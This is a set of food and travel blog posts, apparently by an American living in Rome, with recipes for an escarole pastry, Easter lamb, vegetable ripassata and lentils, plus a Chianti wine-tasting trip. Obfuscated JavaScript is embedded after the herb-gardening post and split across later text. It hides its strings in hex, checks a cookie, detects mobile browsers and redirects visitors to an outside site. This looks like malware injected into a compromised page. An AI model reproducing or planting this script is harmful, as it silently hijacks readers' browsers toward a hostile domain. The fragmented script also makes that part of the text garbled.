Culinary secrets from a Roman grandma

A few weeks ago I had the honor of meeting Chinese-American chef and writer, Jen Lin-Liu, who was in Rome doing research for her upcoming book. In a nutshell, Jen was following the Silk Road to places like Iran, Turkey and Italy and learning about the local cuisine in each place. Her book will come out in 2012, so keep your eyes peeled!

Of course, one of the best ways to learn about the local food is get right into a local family’s kitchen – which is exactly what she did. One evening, I accompanied Jen to help translate while she watched a Roman grandmother prepare a typical meal for her family.

Watching a woman single-handedly throw together a delicious meal is nothing new to me, but it never ceases to amaze me either. With a two-year-old grandson underfoot, she bustled around the kitchen, popping out to the garden for fresh herbs and multi-tasking with admirable ease. While Jen and I stole tastes of her ingredients and raved about every flavor that crossed our taste buds, the nonna would smiled politely and continue to prepare the feast that she claimed was no major task. Of course, this is coming from a woman who has cooked two meals a day, seven days a week, for the past 40 years.

The menu for the evening consisted of pasta carbonara, saltimbocca and a stuffed, savory pastry. It was the latter dish that got my mouth watering, and I took mental notes while she made it so I could repeat it at home:

Ingredients:

-Pre-packaged*, puff pastry sheet (round) – known in Italian as “pasta sfoglia”

Veggies...cooked and ready

-A small head of escarole (a green endive) cleaned, dried and chopped

-Pitted olives, whatever kind you like

-Scamorza cheese (NOT the smoked kind)

-Pine nuts

-One egg yolk

-Olive oil

-Peperoncino

-Garlic

-Salt

All ingredients...ready to fold

Directions:

Preheat oven at 200°C (about 390°F). Start by sautéing the escarole with the oil, peperoncino, garlic and a pinch of salt. Throw these ingredients in a pan for about 10 minutes, covered, on medium-low heat, stirring occasionally (see my veggie post for more details). Once that’s been cooked, put aside. Lay out the pastry on cookie sheet with parchment paper. Leaving about an inch or so of space around the edges, spread on the cooked escarole and top with slices of the scamorza, a small handful of olives, and sprinkle on the pine nuts. To close, fold over two sides (like how you’d fold a letter) and pinch/fold the ends closed. Brush the top with egg yolk, then put in the oven for 20 minutes, or until beginning to brown and pastry has puffed. To serve, slice in individual pieces and enjoy!

*Although many Italians pride themselves in making everything from scratch, this women bashfully admitted that when it comes to puff pastry sheets, they are just plain easier to buy than make.

Let cool and enjoy!

Folded and oven-ready

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Inter-cultural faux pas of the day: I think I offended my butcher by not accepting the lamb’s head he wanted to give me for free when I went to pick up my meat for Easter.

When it was my turn at the counter, he proudly presented me with the disembodied head (well, half a head, sliced vertically) and gave me a huge smile.

“I’ll put this in for free,” he said, searching my face for a sign of appreciation. Instead he found my mouth gaping in horror. Once I got over my initial reaction, I tried to compose myself.

“Oh thank you, but …um …I’m American and …uhhh …we usually don’t eat …those …parts.” The whole time my eyes are darting around the shop, trying to avoid eye-contact with the poor little half a lamb staring up at me. The woman next in line glared at me jealously.

“What about your husband? Won’t he like it?” the butcher asked, confused by my reaction.

In an attempt to not make my hubs sound like a total wuss, I replied, “Well he was brought up abroad, in cultures that don’t eat heads either.” Lame response, but I had to give some explanation for not accepting my butcher’s generosity.

This is one thing that took me a while to get used to in Italian culture and food: the head. Restaurants will serve you a whole fish, who then watches you from the plate as you eat him. Supermarkets sometimes only sell fresh shrimp whole, forcing you to tediously pluck the heads and legs off of each one if you want to make scampi. There are even cured meats that contain parts of pig head (ever heard of coppa? It’s good…)

But the lamb’s head at Easter dinner is especially coveted.

A couple years ago I was at my boyfriend’s (now ex) house for Easter. The whole family was there: parents, siblings, nieces, nephews, and grandparents. I was seated across the table from the old Sicilian grandmother, widowed years ago and who wore only black. She was deaf as a post, and wore those thick old-lady glasses that gave her googly eyes.

Seeing as how I was unable to communicate with her properly, I was engaged in conversation with my boyfriend’s sister sitting next to me. While chatting, I unintentionally served myself the lamb’s head, which I didn’t notice until I turned my attention to my plate and stuck my fork in its cheek. I was mortified. I didn’t want to make a scene or offend my hosts by putting it back, so I leaned over to my boyfriend and quietly asked him to remove the meat from my plate. He was equally disgusted, and therefore offered no help.

Suddenly, the old Sicilian grandma, who was so short she barely cleared the table, reached over and stuck her fork in the lamb’s eye. Without saying a word she took the head and plopped it on her own plate. With a satisfied smile, she continued to enjoy her Easter lunch.

Here’s the recipe for my super simple Easter lamb:

Ingredients:

Leg of lamb, butterflied

Olive oil

Salt

Pepper

Garlic

Rosemary

Thyme

Have your butcher butterfly the leg for you, so it’s just about cut up in pieces but still attached. The day before you plan on cooking it, smother it with olive oil, stick whole cloves of garlic in each slice, and sprinkle with pepper, thyme and rosemary. Cover and put it in the fridge overnight.

When ready to cook, preheat oven at 180°C (or 360°F). When oven is hot, put in the lamb, covered with aluminum foil. After 30 minutes, remove cover and cook for another 15 minutes.

Salt to taste and serve! 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Cruising through Chianti

The hubs and I finally got two consecutive days off so — as mentioned in my previous post — we took a trip to Tuscany.

Leaving from Rome at 7am, we took the A1 north towards Florence and got off at the exit Incisia. From there, we took a secondary road (SP16) to Greve in Chianti, right in the heart of the region famed for its lush rolling hills covered by Sangiovese vineyards.

It is here that Chianti Classico wine is produced. Different from the other types of Chianti, a bottle of Chianti Classico contains a minimum of 80% of the Sangiovese grape (for more info on Chianti Classico, including places to stay or wine-taste, click HERE).

After the long drive, we were ready to decompress. We headed up to Montefioralle, a small village with beautiful views of the surrounding countryside. Is was here that I had made an appointment to do some wine-tasting with a local winery, Azienda Agricola Montefioralle.

The owner, Fernando, met us at the main parking area (which accommodates about eight cars). We took a short stroll through the town until we reached his vineyard on the outskirts. The three of us sat out at a picnic table and began tasting a selection of about six of Montefioralle’s Chianti Classico from various years. Fernando had also prepared a small plate of fresh breads topped with local meats — too keep the wine from getting to our heads. There, with views of Montefioralle and rows of vineyards, Fernando told us everything there is to know about the growing, harvesting and ageing of his wine.

He told us that his particular winery only produces about 3,000 bottles a year. 1,000 are consumed by his extended family, while the other 2,000 are sold directly to the consumer. That’s one of the many charming things about Italy: there are so many small, family-run wineries that many people are personally acquainted with their wine producer (the same goes for other kinds of farmers as well). Instead of buying from the big, commercial brands found in the supermarket, I know a number of households that prefer to purchase their favorite beverage directly from the small winery — surely produced with more love and care.

Along with the Chianti Classico, we also tried some Vin Santo: a sweet dessert wine made from raisins. If you order Vin Santo in a restaurant, it is often accompanied by homemade cookies meant for dipping into the wine …one of my favorite ways to end a good meal!

After we finished our tasting, he took us to the small cellar and then back to the town center where we said our good-byes. There was a small restaurant emitting enticing smells of grilled meat, so we popping in for a quick lunch.

Back on the road again: We followed the SR222 or Via Chiantigiana south. This road runs through some of the most beautiful landscapes in Tuscany, and takes you right into Siena.

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Spring has sprung

Blue skies, warm sun, and the birds are going nuts. After weeks of rain, spring is finally here! For me, it’s one of the most precious seasons in Rome as these are the few weeks before it gets ridiculously hot an humid and — being of Irish, Polish and German origin — before I have to start lathering on the sunscreen just to walk to the store.

It’s also the time of year that I remember my poor, rejected plants out on the terrace. I desperately want to have a green thumb, but can’t seem to even keep a cactus alive. Luckily, I have a husband for these sorts of things.

City-dwelling Italians are really good about keeping some green on whatever little outdoor space they have. Balconies are bursting with color, and you have to be careful when walking down a residential street in the evening as you might get watered-on (as I often have).

Of course, my favorite plants are the ones I can eat, and since they’re the ones planted directly outside the kitchen, I remember to water those year round. Unfortunately, I still managed to kill the basil and the mint (uh oh, better bring that back to life before mojito season begins).

I’ve also manage to turn my thyme purple. There’s still tons of it, but it’s lost that dark green color and has turned purple. So, my dear readers with gardening experience, is that normal?

Here are the plants that have somehow persevered:

←Sage: It won’t stop growing! And it’s so strong, I can only use one leaf in a recipe.

→ Rosemary: I use this more for winter recipes (roasts and such). This won’t stop growing either.

 

 

 

↓Lemons: What’s wrong with life giving you lemons? I use them all the time!

→ Parsley: I use this in every fish dish.

 

 

 

 

 

↓Citronella: I guess it keeps mosquitoes away. Gastronomically, I have no clue what to do with it.

→ Mini Mandarin-orange tree: I don’t eat these. But later in the season little while flowers bloom and they smell SO good!

 

 

 

Oh, and I murdered my peperoncini :-(var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Eat your veggies

Living in Italy has taught me to LOVE vegetables, especially the ones I formerly considered “scary” …like chicory, Swiss chard, and all those other leafy greens. But with a simple mix of oil, salt, garlic and peperoncino tossed in a fry-pan (called ripassata) any boring veg can be transformed into a delightful side-dish of garlicky goodness!

Here’s the basic recipe for any veggie ripassata:

Take your chicory/spinach/chard/broccoli rabe/whatever: hack off the stems from just below the leaf and throw them away, then rinse the leaves. Boil in salted water for about 5-10 minutes (not the spinach…that’s thin enough as is). In the meantime, put a dollop of olive oil in a pan with a clove of garlic (or two or three) and a dried peperoncino (broken open and let all the little flakes out). Sauté until the garlic turns a golden-brown. Strain your veggies and throw them in the pan and sauté for a few minutes (either until the excess water has evaporated or until it tastes done. I have to continuously taste what I’m cooking, which is why baking scares me). Salt to taste.

The ripassata is only the basis for so many other delicious dishes. Do this with broccoli then top it on fresh orecchiette pasta with grated Parmigiano-Reggiano cheese for a typical dish from the region of Puglia. Use it as a filling for stuffed bread or homemade ravioli. You can even add raisins to your chicory to cut the bitter taste.

The other evening, my hubby made an extra-special chard ripassata. He basically followed the same recipe but, at the end, added a small pad of butter and a small handful of Parmigiano. Less healthy, but SO worth it!

What’s your favorite vegetable recipe? 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A poor college kid’s dream…

One of the simple joys of living in Europe: Fast food and beer. All in one location, at more than one location.

I decided to blog about this at lunch today. A new Subway has recently opened on my stomping ground, and my Italian hubby (who insists on having a Subway sandwich every time we’re in the US) had a hankering for the oversized delicious-ness that only a footlong sub can satisfy. Although I am the #1 fan of authentic Italian food, seven years of living in Rome has trained me to appreciate a good American sub once in a while.

After ordering my teriyaki chicken on oregano-and-parmesean bread (aka “Italian herb and cheese” if you’re in the US), the girl at the cash register asked if I’d like a “menu” — which includes a cookie and a drink. Of course, that cookie display is always so enticing …and I’m not one to turn down anything that includes the words double-chocolate and macadamia nuts. “And the drink?” I asked while guiltily breaking off a piece of the cookie. She pointed toward a large refrigerator stocked full of Pepsi, water and three types of beer. “Help yourself.”

This is no surprise to anyone who’s familiar with McDonald’s in Europe. You can easily substitute the Coke in your “value meal” for a small glass of beer (no ID required). Drinking is not nearly as taboo as it is in the US. Ask an Italian what the drinking age is, and you’ll rarely get a straight answer.  Some say 18. Others will say 16. Others will claim it doesn’t exist. Whatever the law may be, I’ve never seen it enforced. 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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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Lovely lentils

One of the characeristics of the Mediterranean diet is the high consumption of legumes — like beans, peas and lentils. Italians have a particular affinity for lentils as they believe that eating them on New Year’s eve will bring 12 months of prosperity. I’ve tried it …and I have yet to win the lottery.

What I would put my money on are their health benefits (particularly for vegetarians): high in protein, rich in amino acids, a good source of iron, and full of fiber. Oh, and they’re delicious.

I’ve made the traditional New Year’s lentil dish before with cotechino, a type of boiled sausage that I didn’t particularly like. Today I tried making them with typical sausages from the Umbrian town of Norcia and was practically licking the plate!

Ingredients:

Lentils (rinsed)

2 carrots, chopped

2 sticks of celery, chopped

1 small onion, chopped

A leaf of sage

Olive oil

A cup of chicken stock …or a small bouillon cube

Sausages

Directions:

Take your carrots, celery, onion (all chopped) and sage leaf, and throw them in a pot with a dollop of olive oil. Sauté for a minute, then add your lentils and enough water to cover them. Throw in the chicken stock or bouillon cube too. Simmer for about 1 hour and 40 minutes (or just keep tasting to see if they’re done after an hour).

As for the sausage, I used salsiccia di Norcia: remove the skin and break up into small pieces. Toss the pieces in a fry pan with a drop of olive oil for a couple minutes, then add to the lentils when everything is done.

Enjoy!

Care to share your recipe for lentils? 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